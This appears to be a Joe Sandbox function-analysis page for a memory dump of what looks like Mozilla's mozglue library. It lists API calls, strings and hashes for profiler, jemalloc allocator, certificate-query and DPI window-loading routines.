String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 313bc8f28291536086b8ab1759e450c11759b99db606b81e3ae7b05e7ecb6f47
Instruction ID: 632639441f2064b7ff60681b99019b133a4e799db276c8bedc41c3a6a326fb38
Opcode Fuzzy Hash: 313bc8f28291536086b8ab1759e450c11759b99db606b81e3ae7b05e7ecb6f47
Instruction Fuzzy Hash: DE221675A0D3049FEB00AF74C84A65A77B8EF9734CF254A2AE85A97F41E734C448CB52

Function 6C94B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C94B845
AcquireSRWLockExclusive.KERNEL32(6C98F4B8,?,?,00000000), ref: 6C94B852
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94B884
InitializeConditionVariable.KERNEL32(?), ref: 6C94B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C94B9FD
GetCurrentThreadId.KERNEL32 ref: 6C94BA05
AcquireSRWLockExclusive.KERNEL32(6C98F4B8,?,?,00000000), ref: 6C94BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C94BA27
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94BA4B
free.MOZGLUE(?), ref: 6C94C9C7
free.MOZGLUE(?), ref: 6C94C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C94C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C94C878

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 4feff623f394228d643fda31d22dea3ed130412c2fb6091db1d3e4dea1be9c27
Instruction ID: d47a3c662fe2c0b9bfed396b3e40d502089a2d824ba5006cd06d3f05c6e6edaa
Opcode Fuzzy Hash: 4feff623f394228d643fda31d22dea3ed130412c2fb6091db1d3e4dea1be9c27
Instruction Fuzzy Hash: 18A27C72A097808FC725CF28C48079FB7E5BFD9318F148A2DE89997750DB70D9098B92

Function 6C916C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C916CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C916D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C916D26

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C916D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C916D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C916D73
free.MOZGLUE(00000000), ref: 6C916D80
CertGetNameStringW.CRYPT32 ref: 6C916DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C916DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C916DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C916DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C916E10
CryptMsgClose.CRYPT32(00000000), ref: 6C916E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C916E34
CreateFileW.KERNEL32 ref: 6C916EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C916F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C916F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C91709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C917103
free.MOZGLUE(00000000), ref: 6C917153
CloseHandle.KERNEL32(?), ref: 6C917176
__Init_thread_footer.LIBCMT ref: 6C917209
__Init_thread_footer.LIBCMT ref: 6C91723A
__Init_thread_footer.LIBCMT ref: 6C91726B
__Init_thread_footer.LIBCMT ref: 6C91729C
__Init_thread_footer.LIBCMT ref: 6C9172DC
__Init_thread_footer.LIBCMT ref: 6C91730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9173C2
VerSetConditionMask.NTDLL ref: 6C9173F3
VerSetConditionMask.NTDLL ref: 6C9173FF
VerSetConditionMask.NTDLL ref: 6C917406
VerSetConditionMask.NTDLL ref: 6C91740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C91741A
moz_xmalloc.MOZGLUE(?), ref: 6C91755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C917568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C917585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C917598
free.MOZGLUE(00000000), ref: 6C9175AC

Part of subcall function 6C93AB89: EnterCriticalSection.KERNEL32(6C98E370,?,?,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284), ref: 6C93AB94
Part of subcall function 6C93AB89: LeaveCriticalSection.KERNEL32(6C98E370,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C93ABD1

Strings

SHA256, xrefs: 6C916EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C9172C8
(, xrefs: 6C91768A
wintrust.dll, xrefs: 6C9172CD

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 993ca6f48c084729a56f4e8ee0bdfa5586348a26bdb0755b56b1b39c9bcd9720
Instruction ID: 3d9313db0f71c0546367e509bfd6d3d2a8283766a110cb1fd61792cd024a4c22
Opcode Fuzzy Hash: 993ca6f48c084729a56f4e8ee0bdfa5586348a26bdb0755b56b1b39c9bcd9720
Instruction Fuzzy Hash: 1C52F5B1A092199FEB21CF24CC85BAA77BCEF56718F104599E90997A40DB30EF84CF51

Function 6C936FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C98E7DC), ref: 6C937019
LeaveCriticalSection.KERNEL32(6C98E7DC), ref: 6C937061
EnterCriticalSection.KERNEL32(?), ref: 6C9371A4
LeaveCriticalSection.KERNEL32(?), ref: 6C93721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C93723E
EnterCriticalSection.KERNEL32(?), ref: 6C93726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9372B2
LeaveCriticalSection.KERNEL32(?), ref: 6C93733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9373E8
LeaveCriticalSection.KERNEL32(?), ref: 6C93961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C939622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C939642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C93964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9396CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9396DB
AcquireSRWLockExclusive.KERNEL32(6C98E804), ref: 6C939747
GetSystemInfo.KERNEL32(?), ref: 6C939792
__Init_thread_footer.LIBCMT ref: 6C9397A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C98E810,00000040), ref: 6C9397CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C98E7B8,00001388), ref: 6C939838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C98E744,00001388), ref: 6C93984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C98E784,00001388), ref: 6C939874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C98E7DC,00001388), ref: 6C939895

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C939993
MOZ_CRASH(), xrefs: 6C939B42
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C939933, 6C939A33, 6C939A4E
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9399D2
<jemalloc>, xrefs: 6C939B33, 6C939BE3
: (malloc) Unsupported character in malloc options: ', xrefs: 6C939BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9399A8
MALLOC_OPTIONS, xrefs: 6C9397CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9399BD
Compile-time page size does not divide the runtime one., xrefs: 6C939B38

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 35ae0743a785d4c057bf3a43f3037ce72e0076d733a2e30c1c738a300f62564b
Instruction ID: a2eb6b1c52e8884e1232539b2d2c6e73ac553cb870fa6564d46b58f04a5708ac
Opcode Fuzzy Hash: 35ae0743a785d4c057bf3a43f3037ce72e0076d733a2e30c1c738a300f62564b
Instruction Fuzzy Hash: 57537B71A097118FD704CF28C580715BBE5BF8A328F29D6AEE869CB791D771E841CB81

Function 6C940DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C940F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C940F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C940FB7
EnterCriticalSection.KERNEL32(?), ref: 6C940FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C941031
LeaveCriticalSection.KERNEL32(?), ref: 6C9410D0
EnterCriticalSection.KERNEL32(?), ref: 6C94117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C941C39
EnterCriticalSection.KERNEL32(6C98E744), ref: 6C943391
LeaveCriticalSection.KERNEL32(6C98E744), ref: 6C9433CD
LeaveCriticalSection.KERNEL32(?), ref: 6C943431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C943437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C943793
MOZ_CRASH(), xrefs: 6C943950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C943559, 6C94382D, 6C943848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9437D2
<jemalloc>, xrefs: 6C943941, 6C9439F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6C943A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9437A8
MALLOC_OPTIONS, xrefs: 6C9435FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9437BD
Compile-time page size does not divide the runtime one., xrefs: 6C943946

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 73b2931843814306c8661e4ed5b454aabd483f381bfa392e09fd2609b640d1cf
Instruction ID: 0d21dceff8206c485ba9bdef7d8a8d7fb2b18991678e256232977c3d2bee202f
Opcode Fuzzy Hash: 73b2931843814306c8661e4ed5b454aabd483f381bfa392e09fd2609b640d1cf
Instruction Fuzzy Hash: 10539D72A057018FD704CF29C540616FBE1BF8A328F29C6ADE869DBB91D771E851CB81

Function 6C9655F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C93E1A5), ref: 6C965606
LoadLibraryW.KERNEL32(gdi32,?,6C93E1A5), ref: 6C96560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C965633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C96563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C96566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C96567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C965696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9656B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9656CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9656E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9656FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C965716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C96572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C965748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C965761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C96577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C965793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9657A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9657BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9657D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9657EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9657FF

Strings

StretchDIBits, xrefs: 6C9657CC
GetSystemMetricsForDpi, xrefs: 6C965677
user32, xrefs: 6C965601
RegisterClassW, xrefs: 6C9656AC
ShowWindow, xrefs: 6C9656DE
AreDpiAwarenessContextsEqual, xrefs: 6C965637
ReleaseDC, xrefs: 6C965742
gdi32, xrefs: 6C96560A
GetWindowDC, xrefs: 6C965710
EnableNonClientDpiScaling, xrefs: 6C965666
GetThreadDpiAwarenessContext, xrefs: 6C96562D
MonitorFromWindow, xrefs: 6C96578D
SetWindowLongPtrW, xrefs: 6C9657B7
GetMonitorInfoW, xrefs: 6C9657A2
LoadIconW, xrefs: 6C96575B
DeleteObject, xrefs: 6C9657F9
CreateSolidBrush, xrefs: 6C9657E4
GetDpiForWindow, xrefs: 6C965690
CreateWindowExW, xrefs: 6C9656C5
SetWindowPos, xrefs: 6C9656F7
FillRect, xrefs: 6C965729
LoadCursorW, xrefs: 6C965774

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 0368f34d865ac0ca4fd07cff1014ab716906871d95368052eb17bc51fddbf043
Instruction ID: a3e795f814867dadc066da7c62f163b2a231a6e2c9e78a1980248e5fe84d68b9
Opcode Fuzzy Hash: 0368f34d865ac0ca4fd07cff1014ab716906871d95368052eb17bc51fddbf043
Instruction Fuzzy Hash: EC51DD7161B7039FEB119F368D549263ABCAB476497345C65E921E3E93EB74C800CBB0

Function 6C9634A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C96355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9635BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9635E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C96363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9636CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C96373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C96378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9638BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9639EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C963EE2

Part of subcall function 6C966180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9661DD
Part of subcall function 6C966180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C96622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9640F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C96412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C964157

Part of subcall function 6C966180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C966250
Part of subcall function 6C966180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C96441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C964448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C96484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C964863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C964878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C964896
free.MOZGLUE ref: 6C96489F

Strings

, xrefs: 6C964CD2

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 8b951f05d35a323e99face51bfaf979d2cc8ca1d16622b6d46023a8a9b4ccd01
Instruction ID: dc8ada802eb9146f69168606fe4a525cfb4541a08310a0da51e50d074eb19dd1
Opcode Fuzzy Hash: 8b951f05d35a323e99face51bfaf979d2cc8ca1d16622b6d46023a8a9b4ccd01
Instruction Fuzzy Hash: 82F25C749097808FC721CF29C09469AFBF1FF9A308F118A5ED98997B51DB31D896CB42

Function 6C9164C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9164DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9164F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C916505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C916518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C91652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C91671C
GetCurrentProcess.KERNEL32 ref: 6C916724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C91672F
GetCurrentProcess.KERNEL32 ref: 6C916759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C916764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C916A80
GetSystemInfo.KERNEL32(?), ref: 6C916ABE
__Init_thread_footer.LIBCMT ref: 6C916AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C916AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C916AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C916798
user32.dll, xrefs: 6C916526
nvd3d9wrap.dll, xrefs: 6C916500
_etoured.dll, xrefs: 6C9164ED
nvdxgiwrap.dll, xrefs: 6C916513
detoured.dll, xrefs: 6C9164DA

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e3564bfb59b1b8f7a42ce718d252f2633f23a1b7c682f93f652d82adc6691c3d
Instruction ID: 20c80dfcea66aaebc30d2e0982953dd358bd986b05bdebeebca357e1f2e901a5
Opcode Fuzzy Hash: e3564bfb59b1b8f7a42ce718d252f2633f23a1b7c682f93f652d82adc6691c3d
Instruction Fuzzy Hash: 8BF1C070D0A22D9FDB20CF24CD49B9AB7B9EF46318F1446D9D819A7A41D731EA84CF90

Function 6C9360A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C98E7DC), ref: 6C9360C9
LeaveCriticalSection.KERNEL32(6C98E7DC), ref: 6C93610D
EnterCriticalSection.KERNEL32(?), ref: 6C93618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9361F9

Strings

MOZ_CRASH(), xrefs: 6C936AB8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C936BC7, 6C936F97, 6C936FB2
<jemalloc>, xrefs: 6C936AA9, 6C936B59
: (malloc) Unsupported character in malloc options: ', xrefs: 6C936B6A
MALLOC_OPTIONS, xrefs: 6C936888
Compile-time page size does not divide the runtime one., xrefs: 6C936AAE

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
